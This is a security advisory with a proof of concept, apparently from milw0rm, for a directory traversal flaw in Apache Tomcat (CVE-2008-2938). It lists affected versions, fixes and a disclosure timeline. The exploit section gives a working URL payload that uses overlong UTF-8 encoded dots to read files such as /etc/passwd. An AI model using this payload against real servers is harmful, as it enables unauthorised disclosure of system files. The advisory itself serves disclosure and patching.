Apache Tomcat 6.0.18 - utf8 Directory Traversal (PoC)

Title: Apache Tomcat Directory Traversal Vulnerability
Author: Simon Ryeo(bar4mi (at) gmail.com, barami (at) ahnlab.com)
Severity: High
Impact: Remote File Disclosure
Vulnerable Version: prior to 6.0.18
Solution:
 - Best Choice: Upgrade to 6.0.18 (http://tomcat.apache.org)
 - Hot fix: Disable allowLinking or do not set URIencoding to utf8 in order to avoid this vulnerability.
 - Tomcat 5.5.x and 4.1.x Users: The fix will be included in the next releases. Please apply the hot fix until next release.
References:
 - http://tomcat.apache.org/security.html
 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
History:
 - 07.17.2008: Initiate notify (To Apache Security Team)
 - 08.02.2008: Responsed this problem fixed and released new version
 - 08.05.2008: Notify disclosure (To Apache Tomcat Security Team)
 - 08.10.2008: Responsed with some suggestions.

Description
As Apache Security Team, this problem occurs because of JAVA side.
If your context.xml or server.xml allows 'allowLinking'and 'URIencoding' as
'UTF-8', an attacker can obtain your important system files.(e.g.  /etc/passwd)

Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar

# milw0rm.com [2008-08-11]